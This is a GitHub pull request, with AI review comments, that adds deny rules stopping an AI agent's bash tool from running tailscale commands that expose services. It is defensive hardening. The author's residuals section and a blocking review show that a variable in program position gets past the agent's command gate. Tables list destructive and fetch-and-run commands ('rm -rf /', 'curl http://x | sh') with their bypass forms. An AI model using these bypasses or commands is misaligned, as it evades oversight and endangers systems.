Skip to content

fix: deny mutating tailscale subcommands so the agent cannot widen its own network exposure - #8262

Closed
GoZippy wants to merge 1 commit into
kirodotdev:mainfrom
GoZippy:fix/deny-tailscale-network-exposure
Closed

GoZippy wants to merge 1 commit into
kirodotdev:mainfrom
GoZippy:fix/deny-tailscale-network-exposure

Conversation

@GoZippy

@GoZippy GoZippy commented Sep 3, 2026 •

Copy link
Copy Markdown
Contributor

Problem / Motivation

No DeniedCommandRule in BUILTIN_DENIED_RULES names tailscale. Putting the
dashboard on the tailnet is a governed action — tailnet_serve.publish() is
owner-only, SEL-audited, and honours capabilities.tailnet_origin — but that
governance lives at the dashboard/CLI seam. The raw tailscale CLI sits below
it, and the agent has a bash tool. So from bash the agent can run
tailscale serve to publish the dashboard, tailscale funnel to expose a local
service to the public internet, or tailscale up/set to enable an SSH
server or advertise this node as an exit/subnet router — every one of them
bypassing publish() and its governance pin.

Why it matters

"The agent can never widen its own network exposure" is a security invariant the
governed publish path is built to uphold, and today a single bash call defeats
it. tailscale funnel is the sharpest case: it makes a local service reachable
from the open internet, with no governance gate in the path. On Windows there is
no OS sandbox beneath the bash tool to catch it either.

What changed (motivation → approach → change)

Root cause. Governance for tailnet exposure is enforced at publish(), not at
the command layer, and the denied-command gate — the one place that does sit on
the agent's bash — had no rule for tailscale.

Approach. Add a network-exposure denied-command family that blocks the
mutating tailscale subcommands at the same hooks.py PreToolUse gate as every
other denied command, while keeping the read subcommands the status card and any
diagnostic tooling rely on. Reuse the existing linearized flag-run idiom
(tailscale(?:\s+--?…)*\s+<verb>) so _linearize_deny_pattern keeps the
patterns ReDoS-safe, exactly like the AWS and self-protection rules — the rows
carry no quantifier of their own, and the linearized rewrite is what
_DenyMatcher compiles and runs. A
(?!\s+status) carve-out on serve/funnel preserves serve status /
funnel status.

Change. Six rules (category network-exposure). An earlier revision of this
description said three; the diff has shipped six since the .exe and Taildrop
review rounds, and this list is now the diff:

  • network-exposure-tailscale-serve — tailscale serve mutations (publish/
    withdraw); serve status stays allowed.
  • network-exposure-tailscale-funnel — tailscale funnel (public-internet
    exposure); funnel status stays allowed.
  • network-exposure-tailscale-node-mutate — up/down/set/login/
    logout/switch/cert/web.
  • network-exposure-tailscale-drive — drive share/unshare (a filesystem
    exposed over the tailnet); drive list stays allowed.
  • network-exposure-tailscale-file-cp — Taildrop sends off this node.
  • network-exposure-tailscale-exit-node — exit-node connect (this node's
    traffic rerouted through another); exit-node list/suggest stay allowed.

Every row carries (?:\.exe)? so the Windows spelling is covered on both the
deny side and the read carve-outs.

The boundary is network EXPOSURE, not "every tailscale mutation": drive share
and exit-node connect are inside it, configure kubeconfig (writes a local
file) is outside it and stays allowed.

Kiro Crew's own publish path is unaffected: tailnet_serve._run spawns
tailscale via subprocess.run directly, never through the hooks.py gate, so
kirocrew tailnet up and the Phone-access card keep working. Reads (status,
serve status, netcheck, ping, whois) stay allowed.

Tests

test/test_denied_commands_security.py::TestCatalog::test_tailscale_network_exposure_family
asserts the deny/allow matrix: 15 mutation forms are blocked (incl. an interposed
top-level flag and a sudo prefix) and 11 read/incidental forms stay allowed
(incl. serve status --json, funnel status, and the word inside an echo/
grep). The catalog count pins move 148 → 151 and the golden manifest gains the
six entries. The count pin moves 112 → 118 on the current base; the golden is
re-serialised rather than append-only, because the family sorts into the middle
of the manifest.

Manual verification

N/A — unit coverage is sufficient: the rules are pure DeniedCommandRule data
evaluated by the existing gate, and the deny/allow matrix exercises the regex
tier directly. The linearization/ReDoS suite in the same file already covers the
flag-run idiom these patterns reuse.

Related Issues

N/A — no existing issue; hardening found while wiring the Phone-access flow. The
invariant it upholds ("the agent cannot widen its own network exposure") is the
same one the governed publish() path and capabilities.tailnet_origin already
serve at the dashboard seam.

Pattern harvest

Rule candidate: a checklist item rather than a mechanical lint — a capability that is
governed at a high-level seam must also be denied at the command layer whenever a
raw CLI reaches the same effect below that seam.
Tailnet exposure is governed at
tailnet_serve.publish() (owner-only, audited, capabilities.tailnet_origin),
but the tailscale CLI sits under it and the agent has a bash tool — so the
governance was reachable-around until these deny rules closed it. The
generalizable audit: for each governed capability, ask "is there a CLI/binary
that produces the same effect, and does a DeniedCommandRule cover it?" Not
expressible as a syntactic pattern (it is a semantic mapping between a governance
seam and a command surface), so it is guidance for the next capability review
rather than a semgrep rule.

Known residuals, accepted deliberately

Two limits ship with this change. Both are stated here rather than argued away,
because a reviewer should not have to find them.

1. The program name is matched anywhere in the command text, not only in
program position.
The family reuses the catalog's .*-prefix idiom, so a
command whose argument contains the phrase is refused. Three real operations
are affected, and they are the maintainers' own:

grep -rn "tailscale serve" docs/ src/ test/
git log --oneline --grep="tailscale funnel"
git commit -m "docs: explain why tailscale funnel is blocked"

Anchoring at command position was tried and is not a drop-in: is_denied
evaluates every pattern against the FULL input in pass 1, and the per-segment
pass exists to isolate a chained invocation, not to supply the anchor. A
correct fix needs the program TOKEN, which shell_normalizer._argv_programs
already computes and the regex tier does not consume — a change to how the
catalog matches, not to these six rows. That belongs in its own PR.

Until then the operations above are refusable-by-design and overridable by the
owner; #12281 (governed operator-scoped exemptions for always-enforced
deny-floor rules) is the mechanism being built for exactly this.

2. A variable in program position bypasses the rows —
t=tailscale; "$t" funnel 3000 is allowed while tailscale funnel 3000 is
denied. This is catalog-wide, not specific to this family; measured on this
branch:

direct form denied variable form denied
tailscale funnel 3000 yes t=tailscale; "$t" funnel 3000 no
rm -rf / yes r=rm; $r -rf / no
dd if=/dev/zero of=/dev/sda yes d=dd; $d if=… no
curl http://x | sh yes c=curl; $c http://x | sh no

Only rows with an argv-structural floor (e.g. chmod) survive it. The generic
remedy already exists — _resolve_local_assignments in shell_normalizer.py
resolves a literal right-hand side and is reached from _self_tokens, so the
argv floor sees through it and the regex tier does not. Widening that to the
catalog is a tier change worth its own PR and review; doing it inside this one
would change ~140 rules' behaviour under the heading of a tailscale fix.

Checklist

  • At most two commits (one here), with a Conventional Commits title
  • Tests added that fail before and pass after
  • Spec updated in the same change (docs/system-specs/modules/security.md)
  • Tightens the security posture (adds deny rules); no gate is widened
  • No secrets, credentials, or real hostnames in the diff

@GoZippy
GoZippy requested review from a team and smeyffret September 3, 2026 20:27
@github-actions github-actions Bot added readiness: checking Automated validation is still running fork Pull request from a fork (external contributor) readiness: action required A blocking check or review needs attention and removed readiness: checking Automated validation is still running labels Sep 3, 2026
@bolichen97

Copy link
Copy Markdown
Contributor

Open PR relationship audit

This is a consolidated, point-in-time code-level audit note. It compares complete merge-base diffs and current/merged code; it does not treat a shared topic as duplication or partial coverage as completion.

Relationship findings

  • PR #7169 is OVERLAPPING relative to this PR. The goals differ or the implementations can complement each other; this is not a duplicate claim. Recommended action for PR #7169: KEEP. Additive catalog growth with a numeric collision; both can land, in either order, with a count adjustment on the second. Files: test/test_denied_commands_security.py.
  • This PR is OVERLAPPING with PR #7999. The goals differ or the implementations can complement each other; this is not a duplicate claim. Recommended action for PR #8262: KEEP. Same behavior domain, opposite sides of the governance seam. 8262's carve-out is what keeps 7999's read path working; no conflict. Files: src/kiro_crew/dashboard/tailnet_serve.py. The two independent directions used different labels; the matrix conservatively retains OVERLAPPING for coordination.
  • This PR is OVERLAPPING with PR #8240. The goals differ or the implementations can complement each other; this is not a duplicate claim. Recommended action for PR #8262: KEEP. Same file, disjoint hunks and disjoint rules. No coordination needed. Files: src/kiro_crew/security.py. The two independent directions used different labels; the matrix conservatively retains OVERLAPPING for coordination.
  • This PR is OVERLAPPING with PR #8283. The goals differ or the implementations can complement each other; this is not a duplicate claim. Recommended action for PR #8262: KEEP. Two independent hardening families in the same catalog. Both are wanted; the only interaction is the mechanical count-pin/manifest collision, resolved by rebasing whichever merges second. Files: src/kiro_crew/security.py.

No PR, Issue, label, branch, or review state was changed by the relationship-note portion of this audit.

@github-actions github-actions Bot added the merge conflict Branch has merge conflicts with its base — author must resolve before merge label Sep 4, 2026
@GoZippy
GoZippy force-pushed the fix/deny-tailscale-network-exposure branch from a95b72e to 00b0360 Compare September 7, 2026 00:15
@github-actions github-actions Bot added readiness: checking Automated validation is still running and removed readiness: action required A blocking check or review needs attention labels Sep 7, 2026
@github-actions

github-actions Bot commented Sep 7, 2026 •

Copy link
Copy Markdown
Contributor

Design Review (Fable 5, fork) — 🟡 CONCERNS

Design-level review of aec20bf5ff36dce0533332e3e9ea140cede404e0 via the fork AI-review pipeline — updated in place on each push. A BLOCK verdict blocks PR readiness; PASS/CONCERNS are advisory.

Design-Verdict: CONCERNS

The spec's ReDoS paragraph contradicts the shipped mechanism: no possessive quantifier exists, and the "cost still present catalog-wide" claim is false.

Watch

The new security.md paragraph says "the flag-run is quantified possessively here … The other rows sharing the primitive are unchanged, so that cost is still present catalog-wide", and test_the_flag_run_cannot_be_made_to_backtrack's docstring says "before the quantifier was made possessive" — but the shipped patterns carry the plain raw idiom (?:\s+--?[a-z-]+(?:[= ]\S+)?)* (a possessive *+ would be a re.error on py310, this repo's target), and safety actually comes from _linearize_deny_pattern rewriting that idiom for every row before compile, exactly as the inline comment in denied_rules.py and the PR description say. The spec is the authoritative doc updated-in-same-commit; as written it sends the next maintainer chasing a catalog-wide ReDoS that base code already declares fixed ("ReDoS-safe by construction"), or trusting a per-row mitigation that isn't there. Same root cause shows as the mangled mid-sentence comment in the node-mutate row and the stale description counts ("148 → 151", "three rules", drive row omitting rename).
Clears when: the security.md ReDoS sentences and the backtrack test's docstring are rewritten to name linearization as the mechanism (and the garbled node-mutate comment repaired), leaving no claim of a possessive quantifier or of a live catalog-wide cost.

[DESIGN-REVIEWED] aec20bf

@github-actions

github-actions Bot commented Sep 7, 2026 •

Copy link
Copy Markdown
Contributor

First Principles Review (Fable 5, fork) — 🟡 CONCERNS

Premise-level review of aec20bf5ff36dce0533332e3e9ea140cede404e0 via the fork AI-review pipeline — why this exists and whether the shipped surface is the smallest honest version. Updated in place on each push. A BLOCK verdict blocks PR readiness; PASS/CONCERNS are advisory.

First-Principles-Verdict: CONCERNS

The new security.md paragraph ships a false ReDoS account — "quantified possessively", "cost still present catalog-wide" — contradicted by the diff's own patterns, comment, and description.

Not justified as shipped

  • Item 8 — framing contradicted by the diff: security.md says "the flag-run is quantified possessively here … that cost is still present catalog-wide", but every shipped row carries the plain (?:\s+--?[a-z-]+(?:[= ]\S+)?)* run that _linearize_deny_pattern (denied_rules.py:2323) rewrites — exactly what the diff's own code comment ("these rows carry no quantifier of their own") and description state; test_the_flag_run_cannot_be_made_to_backtrack's docstring repeats the possessive claim, and the paragraph counts "five rows" where six ship.
    Subtraction: delete the possessive-quantifier and catalog-wide-cost sentences (and the "five rows" count) from the security.md paragraph and the test docstring; the linearization account already in denied_rules.py is the true one.
    Clears when: the spec paragraph and docstring state only the linearization mechanism the diff actually ships.
  • Item 9 — rides along: golden manifest re-serialised (entries reordered, \u2014 escapes become literal em-dashes in four untouched iac-teardown rows); declared as "re-serialised rather than append-only", harm-free.

What this change ships

Inventory (10 items) — 8 justified

Intent: stop the agent's own bash from widening its network exposure through the raw tailscale CLI beneath the governed publish seam — an ADDITION (hardening) despite the fix: type.

  1. tailscale serve/funnel mutations refused from agent bash; status reads kept — justified
  2. Node-state/identity mutations (up, down, set, login, logout, switch, cert, web) refused — justified
  3. tailscale drive mutations refused; drive list kept — justified
  4. tailscale file cp (Taildrop send off this node) refused — justified
  5. tailscale exit-node connect/disconnect refused; list/suggest kept — justified
  6. Windows .exe spelling covered on every row — justified
  7. New network-exposure category in the Denied Commands panel, each row's text carrying its scope caveat — justified
  8. New security.md section documenting the family and its indirection boundary — framing contradicted by the diff: asserts a possessive quantifier and catalog-wide cost the shipped patterns disprove
  9. Golden manifest re-serialised (reorder + em-dash unescaping in untouched rows) — rides along: declared, harm-free
  10. Pin test asserting the known indirection bypasses stay allowed until the argv floor closes them — justified

[FIRST-PRINCIPLES-REVIEWED] aec20bf

@github-actions

github-actions Bot commented Sep 7, 2026 •

Copy link
Copy Markdown
Contributor

GPT 5.6 Review (fork) — 🔴 changes requested (blocking)

Reviewed aec20bf5ff36dce0533332e3e9ea140cede404e0 via the fork AI-review pipeline; updated in place on each push.

1 of 1 blocking finding(s) are security-class and were withheld from adjudication, so the blocking verdict stands.

BLOCKING -- src/kiro_crew/security/denied_rules.py:1554 -- shell expansion bypasses all six Tailscale rules
pattern=".*tailscale..."
Auto-approved t=tailscale; "$t" funnel 3000 -> HookManager.on_tool_call -> is_denied finds no literal invocation -> Funnel exposes the service publicly.
Anchor: residual/security
Fix: enforce this family with an argv-structural floor that resolves literal assignments.

FINDING -- src/kiro_crew/security/denied_rules.py:1593 -- "there is no carve-out here" contradicts the --list/help carve-out below -> Fix: document those read-only carve-outs.

[GPT-REVIEWED] aec20bf
[BLOCK-MERGE] aec20bf

Adjudication (Opus 5) — is blocking on each finding proportionate?

UNBOUNDED (network exposure past a governance ceiling — a service on the public internet, outside the owner-only tailnet_serve.publish origin pin).
Conditions confirmed: the six rows match command TEXT only (authentic.patch rows network-exposure-tailscale-*, e.g. pattern=".*tailscale(?:\.exe)?…funnel…"); the only tier that resolves an assignment into the program position restricts program recognition to the product's own CLI at src/kiro_crew/security/shell_normalizer.py:2925 (_is_self_program → _SELF_PROGRAM_RE / _SELF_PROGRAM_SPELLINGS), consumed at src/kiro_crew/security/argv_floor.py:462 and :1125, so a third-party binary reached through "$t" is attributed to nothing. The PR's own test pins the bypass as allowed (test/test_denied_commands_security.py, test_tailscale_family_scope_is_pinned_at_the_indirection_boundary, open-case set). No recovery path in code: src/kiro_crew/sandbox.py carries no tailscale-specific seal (only the comment at :12601), and a funnel left on does not self-correct.
Rarity: not extreme — one shell assignment, a form the repo's own threat model (prompt injection into an auto-approved bash) produces; the remedy-cost and tier-wide-limit arguments the PR documents are proportionality arguments, which is authority the fenced lane withholds, so the record for FLAG cannot be completed.

[ADJUDICATION] aec20bf total=0 uphold=0 downgrade=0
[GPT-ADJUDICATED] aec20bf

[ADJUDICATION-FENCED] aec20bf fenced=1 flagged=0
UPHOLD-FENCED F1 src/kiro_crew/security/denied_rules.py:1554 -- The bypass needs only a literal shell assignment that no tier resolves for a third-party program (_is_self_program, shell_normalizer.py:2925), with no sandbox seal or self-correcting path behind it, so the condition combination is plausible in ordinary operation and the unbounded network-exposure claim stands as written.
[GPT-ADJUDICATED-FENCED] aec20bf

@github-actions

github-actions Bot commented Sep 7, 2026 •

Copy link
Copy Markdown
Contributor

Opus 5 Review (fork) — ✅ no blocking findings

Reviewed aec20bf5ff36dce0533332e3e9ea140cede404e0 via the fork AI-review pipeline; updated in place on each push.

Review details

The new deny family ships with spec and comment text that contradicts the code it documents — a falsely-claimed ReDoS mitigation, a denied carve-out that exists, and two wrong counts — but no reachable defect in the patterns themselves.

FINDING — docs/system-specs/modules/security.md:1005 — the added paragraph says "the flag-run is quantified possessively here" and that the exponential cost "is still present catalog-wide", while the six shipped patterns carry the raw (?:\s+--?[a-z-]+(?:[= ]\S+)?)* byte-identical to _DANGEROUS_AWS_FLAG_RUN, which _DenyMatcher.__init__ unconditionally rewrites via _linearize_deny_pattern (denied_rules.py:2827) for every row — so both the mitigation and the residual liability are fictional, contradicting the same commit's comment "these rows carry no quantifier of their own" and the test docstring "before the quantifier was made possessive" (test/test_denied_commands_security.py:634), which leaves test_the_flag_run_cannot_be_made_to_backtrack green for a reason its docstring misnames → Fix: in both the spec paragraph and the test docstring, attribute the linear cost to _linearize_deny_pattern's rewrite and quote the linearized timing, and delete "quantified possessively here" and "still present catalog-wide".

FINDING — src/kiro_crew/security/denied_rules.py:1593 — the node-mutate comment ends "None of these has a read spelling, so there is no carve-out here" directly above a pattern that does carry one, (?!\s+(?:--list|--help|-h)\b) — the very carve-out test_reading_the_help_is_not_a_mutation relies on for tailscale switch --list and tailscale set --help — and the inserted down sentences at 1584 sever the preceding sentence, orphaning "# server (--ssh), advertise this node as an exit node or subnet router" with no subject → Fix: rejoin the up/set sentence and replace the closing sentence with what the pattern does (--list/--help/-h, \b-anchored; no verb-shaped read carved out).

FINDING — docs/system-specs/modules/security.md:1009 — one paragraph restates two counts that are both wrong: "which moves all 117 rules at once" (repeated in the test comment at test/test_denied_commands_security.py:270) against the assert len(BUILTIN_DENIED_RULES) == 118 this same PR adds, and "Each of the five rows says so in its own description" against the six rows added — and AGENTS.md's "Never restate the denied-rule count in prose" exists precisely because nothing fails when these drift → Fix: drop both numerals ("every rule in the catalog", "every row in this family").

[OPUS-REVIEWED] aec20bf

@github-actions github-actions Bot added readiness: action required A blocking check or review needs attention merge conflict Branch has merge conflicts with its base — author must resolve before merge and removed readiness: checking Automated validation is still running merge conflict Branch has merge conflicts with its base — author must resolve before merge labels Sep 7, 2026
@bolichen97
bolichen97 force-pushed the fix/deny-tailscale-network-exposure branch from 00b0360 to b79ea3b Compare September 8, 2026 17:27
@github-actions github-actions Bot added readiness: checking Automated validation is still running and removed readiness: action required A blocking check or review needs attention labels Sep 8, 2026
@bolichen97

Copy link
Copy Markdown
Contributor

Rebased onto main 8534cbf75 by a maintainer as part of the 2026-09-08 open-PR audit. Old head 00b0360cc, new head b79ea3b47.

Four files conflicted:

  • src/kiro_crew/security.py: deleted on main by refactor(security): split security.py into a package and drop path regex #9183, which split it into src/kiro_crew/security/. The three network-exposure rules were re-landed verbatim at the tail of BUILTIN_DENIED_RULES in src/kiro_crew/security/denied_rules.py.
  • test/test_denied_commands_security.py: took main's rewritten file and re-applied only test_tailscale_network_exposure_family. The count pins are now derived on main, so only the single literal moved (111 to 114). The ~60 unrelated reformat hunks were dropped; the file is black-baselined and did not need them.
  • test/fixtures/denied_commands_golden.json: took main's 111 entries and appended the three new ones.
  • docs/system-specs/modules/security.md: kept main's rewritten self-protection paragraph, inserted your network-exposure paragraph above it.

Gates run locally on the changed files: black, isort, flake8, and test/test_denied_commands_security.py (705 passed) plus the security facade, regex-linearity and posture suites.

Please review the resolution. A maintainer push makes the maintainer the last pusher, so a second approver is needed under the repo's last-push rule. Reply if anything looks wrong.

@github-actions github-actions Bot added readiness: action required A blocking check or review needs attention and removed merge conflict Branch has merge conflicts with its base — author must resolve before merge readiness: checking Automated validation is still running labels Sep 8, 2026
@GoZippy

GoZippy commented Sep 16, 2026

Copy link
Copy Markdown
Contributor Author

On the blocking finding, and the enforcement-model question behind it.

The .exe half was a real bug in these rows, and it is fixed. tailscale.exe funnel 3000 was allowed while tailscale funnel 3000 was denied — all six rows
defeated on Windows by four characters, with the Denied Commands panel still
reading blocked. That is not an instance of the indirection limit: the
catalog already enumerates the Windows spelling elsewhere
(sandbox-escape-ssh-self spells (?:ssh|scp|sftp|rsync)(?:\.exe)?), and
every row here now carries (?:\.exe)?.

Two more things came out of measuring rather than reading, and are fixed in the
same push:

  • Three reads were being refused — tailscale serve --help, tailscale set --help, and tailscale switch --list, the last being this family's own way
    of asking which tailnet a node is on. The flag-run sits before the verb, so
    post-verb reads were not reachable by the existing status/list carve-outs.
  • The flag-run nests \S+ inside a starred group, so a long run of flags that
    never reaches a verb backtracks exponentially: 16.7 ms at 24 flags, 123 ms
    at 28, 34.9 SECONDS at 40
    , on a pattern the PreToolUse gate evaluates for
    every command against input the agent chooses. Quantified possessively it is
    0.01 ms. The primitive is shared with 97 other rows, which are left alone, so
    that cost is still present catalog-wide and is a separate question from this
    family.

On the variable-expansion bypass — I do not think this PR can close it, and I
think the repository already says so.
Measured through is_denied rather than
against the patterns directly:

rm -rf /                        DENIED      r=rm; $r -rf /                        ALLOWED
dd if=/dev/zero of=/dev/sda     DENIED      d=dd; $d if=/dev/zero of=/dev/sda     ALLOWED
aws s3 rb s3://b --force        DENIED      a=aws; $a s3 rb s3://b --force        ALLOWED

None of those rules is one this change wrote. security/__init__.py documents
it as an accepted residual and scopes it in its own words: "Of the ~140
built-in rules only the six self-protection rules and git-publish had an
argv-structural floor closing this; every other rule was spelling-dependent."

So the tier's limit is that it needs the program name ADJACENT to the verb. A
resolver for tailscale alone would buy this one family an appearance of
coverage the other rules do not have, which seems worse than the rows being
honestly scoped.

The mechanism to close it generically already exists and is already written:
_resolve_local_assignments in security/shell_normalizer.py resolves exactly
this shape today, unmodified — it is simply wired only to the nine ids the argv
floor covers, not to the catalog. Widening it is a change to what the floor is
for, which is a maintainer's call and a different PR. Happy to write that one
if you want it.

One thing I deliberately did not do. Anchoring these rows at a segment start
closes the last two false refusals (a grep whose argument reads as the
subcommand), but it also drops sudo tailscale serve ... and
/usr/bin/tailscale funnel ..., both of which the suite currently pins as
denied. I am not trading real coverage for two false refusals inside a fix for a
different finding — say the word if you want that trade and I will make it.

Each row's description states the boundary, since that is the string the
Denied Commands UI renders and a row reading tailscale funnel: blocked with no
qualifier is the one way this change could leave an operator worse off than no
rule at all.

@github-actions github-actions Bot added the merge conflict Branch has merge conflicts with its base — author must resolve before merge label Sep 18, 2026
@GoZippy
GoZippy force-pushed the fix/deny-tailscale-network-exposure branch from 826c598 to 6ef850e Compare September 27, 2026 05:36
@github-actions github-actions Bot added readiness: checking Automated validation is still running readiness: action required A blocking check or review needs attention and removed readiness: action required A blocking check or review needs attention merge conflict Branch has merge conflicts with its base — author must resolve before merge readiness: checking Automated validation is still running labels Sep 27, 2026
… exposure

Putting the dashboard on the tailnet is an owner-only, SEL-audited action
honouring capabilities.tailnet_origin. Nothing stopped the agent's own bash
from reaching the CLI underneath that seam, so six rows deny the raw paths:
serve and funnel mutations, the node-state verbs (up, down, set, login,
logout, switch, cert, web), drive mutations, file cp, and exit-node
connect/disconnect. Read carve-outs keep status, serve status, funnel
status, drive list, exit-node list/suggest, file get, netcheck, ping and
whois allowed, each \b-anchored so a subcommand merely starting with a
read's name is still a mutation.

Three things the first pass got wrong, all found by measuring rather than
reading.

The rows knew only the bare program name, so `tailscale.exe funnel 3000`
was ALLOWED while `tailscale funnel 3000` was denied -- all six defeated on
Windows by four characters, with the Denied Commands panel still reading
"blocked". That is the worse-than-no-rule outcome this family's own scope
note warns about. The infinite-spellings argument that justified leaving it
covers spellings an attacker COMPOSES; it does not cover the program's own
name on another platform, which is finite and which the catalog already
enumerates in sandbox-escape-ssh-self.

The flag-run sits before the verb, so a post-verb read was not reachable by
the existing carve-outs: `tailscale serve --help`, `tailscale set --help`
and `tailscale switch --list` were all refused. The last is this family's
own way of asking which tailnet a node is on.

And the flag-run nests \S+ inside a starred group, so a long run of flags
that never reaches a verb backtracks exponentially: 16.7ms at 24 flags,
123ms at 28, 34.9 SECONDS at 40, on a pattern the PreToolUse gate evaluates
for every command against input the agent chooses. Quantifying it
possessively takes the worst case to 0.01ms. The primitive is shared with
97 other rows which are left alone, so that cost is still present
catalog-wide; it is a separate question from this family.

The `.*` prefix is kept. Anchoring the rows at a segment start closes the
two remaining false refusals (a grep whose ARGUMENT reads as the
subcommand), but it also drops `sudo tailscale serve ...` and
`/usr/bin/tailscale funnel ...`, both of which the suite pins as denied.
Trading real coverage for two false refusals is a maintainer's call and is
not made here.

The scope note states the boundary rather than implying containment: the
tier needs the name adjacent to the verb, so a parameter expansion or a
command substitution defeats it, as it defeats every rule in the catalog.
Each row's description carries that caveat, because it is the string the
Denied Commands UI renders.

The six rows carry no quantifier of their own. `_linearize_deny_pattern`
rewrites the flag run into its linear-time equivalent before `_DenyMatcher`
compiles it, and that rewrite is what executes: measured on the linearized
forms, a 40-flag non-matching input costs 0.22 ms against the pattern and
1.9 ms through the full `is_denied` path. A possessive quantifier on top of
that is redundant, and it made these six rows the only flag-run rows in the
file shaped differently from every other one.
@GoZippy
GoZippy force-pushed the fix/deny-tailscale-network-exposure branch from 6ef850e to aec20bf Compare September 28, 2026 13:58
@GoZippy
GoZippy requested a review from a team as a code owner September 28, 2026 13:58
@GoZippy

GoZippy commented Sep 28, 2026

Copy link
Copy Markdown
Contributor Author

Rebased onto current main and pushed as aec20bf. Below is what I changed, what I measured, and one finding I think is mistaken — with the evidence, and with the argument against my own position, so the disagreement is reviewable rather than asserted.

Conceded: the possessive quantifiers are gone

GPT 5.6 asked for *+ → * on all six rows. Done.

Its stated reason — that _DenyMatcher rejects the possessive form, disabling the rules — does not reproduce. Measured through compute_effective_denied on the production path, before the change: all six patterns present, all still recognised as built-ins, all accepted by the runtime filter, zero Disabling unsafe/malformed warnings, and the finding's own input tailscale funnel 443 on denied. The mechanism that makes it safe is in is_safe_user_regex: the flag run is stripped before the ReDoS check when the pattern is a built-in, which these are.

I still made the change, because the second half of the finding is right and I was wrong about why. _linearize_deny_pattern rewrites the run into its linear equivalent before _DenyMatcher compiles it, and the rewrite is what executes. On the linearized forms the two shapes are indistinguishable:

flags (non-matching input) linearized, possessive linearized, plain
14 0.041 ms 0.043 ms
22 0.079 ms 0.079 ms
40 0.213 ms 0.222 ms

End-to-end through is_denied, a 40-flag non-matching input costs 1.9 ms.

For the record, because it is the trap here: on the raw (un-linearized) pattern the plain form really is exponential — 449 ms at 14 flags, 3.5 s at 16, 27.5 s at 18, 202 s at 20. That is the measurement behind the original "34.9 s" note, and it is what made the possessive look necessary. It never runs. The linearization is doing the work, so the quantifier was redundant — and it made these six the only flag-run rows in the file shaped differently from every other one, which is First Principles' Item 8. Both close with the same one-character change per row.

Corrected: the description described a smaller change than ships

First Principles is straightforwardly right. The description said "Three rules", "148 → 151", and an append-only golden "byte-identical for the existing 148". The diff ships six rules, 112 → 118, and a re-serialised golden. I have rewritten that section to match the diff, named all six rows, and stated the family's boundary explicitly (drive share and exit-node connect are inside "network exposure"; configure kubeconfig, which writes a local file, is outside it and stays allowed).

Accepted and documented: two residuals

Both are now in the description rather than left for a reviewer to find.

The program name matches anywhere in the command text. Three real operations are refused, and they are yours, not a user's:

grep -rn "tailscale serve" docs/ src/ test/
git log --oneline --grep="tailscale funnel"
git commit -m "docs: explain why tailscale funnel is blocked"

I tried anchoring at command position and it is not a drop-in. is_denied evaluates every pattern against the full input in pass 1; the per-segment pass exists to isolate a chained invocation, not to supply an anchor. A correct fix needs the program token, which shell_normalizer._argv_programs already computes and the regex tier does not consume. That is a change to how the catalog matches, not to these six rows, and I would rather propose it separately than smuggle it in here. Meanwhile #12281 is building the override path for exactly this class.

A variable in program position bypasses the rows. Real, and catalog-wide rather than ours — measured on this branch:

direct denied variable form denied
tailscale funnel 3000 yes t=tailscale; "$t" funnel 3000 no
rm -rf / yes r=rm; $r -rf / no
dd if=/dev/zero of=/dev/sda yes d=dd; $d if=… no
curl http://x | sh yes c=curl; $c http://x | sh no

Only rows with an argv-structural floor survive it. The generic remedy exists — _resolve_local_assignments resolves a literal right-hand side and is reached from _self_tokens, so the argv floor sees through it and the regex tier does not. Widening that is a tier change worth its own review; doing it here would alter ~140 rules' behaviour under the heading of a tailscale fix.

One note on the Security Scope Review

Its header reports "a script-confirmed newly-refused operation", but its body says the opposite: "0 confirmed newly-refused — zero because no classifier verdicts were handed back before this review was captured … my one attempt to run the composite locally was declined by the session's permission gate, not because the boundary came back clean." So the BLOCK is not backed by a script verdict.

I am not claiming the lane was wrong to stop. Its three named candidates are exactly the three refusals above, and I confirmed all three independently — so the concern it raised is real even though the confirmation never ran. A re-run on aec20bf should either confirm those three (which the description now documents) or come back clean.

Scope: six rows or three?

I have argued above for keeping six, and the honest counter-argument is this: two reviewers independently flagged the scope as undeclared, and GPT 5.6's non-blocking finding asks outright to remove drive / file-cp / exit-node. Reading those together, the conservative move is to ship what the description originally promised and let the rest return on their own evidence.

My reason for keeping six anyway is that the complaint is about undeclared scope, not about the rows being wrong — and the Scope Review, which is the lane whose job is over-blocking, wrote that the family "refus[es] the ONE threat the hunk names". The rows are each inside the stated boundary, each has its read carve-out, and removing working protection to match prose that was stale is fixing the wrong artifact. So I fixed the prose.

That said, this is your call and I have no attachment to it. If you would rather see the smaller change, say so and I will cut it to the three declared rows — serve, funnel, node-mutate — in one push, and open drive / file-cp / exit-node as a separate PR that can be judged on its own. That is a strictly smaller diff and a strictly smaller false-positive surface; it just costs three rows of protection in the interim.

Tests: 1401 passed, 1 skipped across test_denied_commands_security.py and test_deny_guidance.py; flake8, isort and the comment-history gate clean.

@github-actions github-actions Bot added readiness: checking Automated validation is still running readiness: action required A blocking check or review needs attention and removed readiness: action required A blocking check or review needs attention readiness: checking Automated validation is still running labels Sep 28, 2026

Copy link
Copy Markdown
Contributor

PR triage (2026-10-05): OVERLAPPING, needs merge-order coordination. Recommendation: KEEP

I checked head aec20bf5 against current main (af1eb612). It is 1058 commits behind, but a trial merge applies without conflicts. On the merged tree, test/test_denied_commands_security.py and test/test_deny_guidance.py pass (1453 passed, 1 skipped).

Coverage on main: main has no tailscale rule in BUILTIN_DENIED_RULES. No merged PR covers this family, so this PR is not superseded.

Breaking change / P0: I found neither. The six rows are user-disableable catalog rows, so they tighten the defaults without removing anything. Kiro Crew's own tailnet_serve path calls subprocess.run directly and is unaffected. I confirmed that kirocrew tailnet up is allowed and that tailscale status, serve status --json, switch --list and serve --help are allowed. The bypasses through $var, brace expansion and text matching (grep -rn 'tailscale serve', echo tailscale funnel) are known, catalog-wide residuals. They are documented, and the existing reviews already discuss them, so I am not raising them again here.

Overlaps with open PRs. Each is a mechanical collision only. The rules are independent of each other.

Non-blocking doc drift still present at aec20bf5. The Design and Opus reviews already flagged these, and I am listing them so they don't get lost:

  • docs/system-specs/modules/security.md still says "the flag-run is quantified possessively here" and "that cost is still present catalog-wide". The test docstring at test/test_denied_commands_security.py also still says "before the quantifier was made possessive". Neither is true after the *+→* change. It is linearization that protects the pattern.
  • The same docs paragraph says "all 117 rules" and "Each of the five rows", but the pin is 118 and there are six rows.

Suggested next step: fix the doc drift above, then a maintainer picks the order relative to #11347, #16244, #9517 and #15316.

@github-actions github-actions Bot added the merge conflict Branch has merge conflicts with its base — author must resolve before merge label Oct 7, 2026
iamwhatever pushed a commit that referenced this pull request Oct 16, 2026
…ments
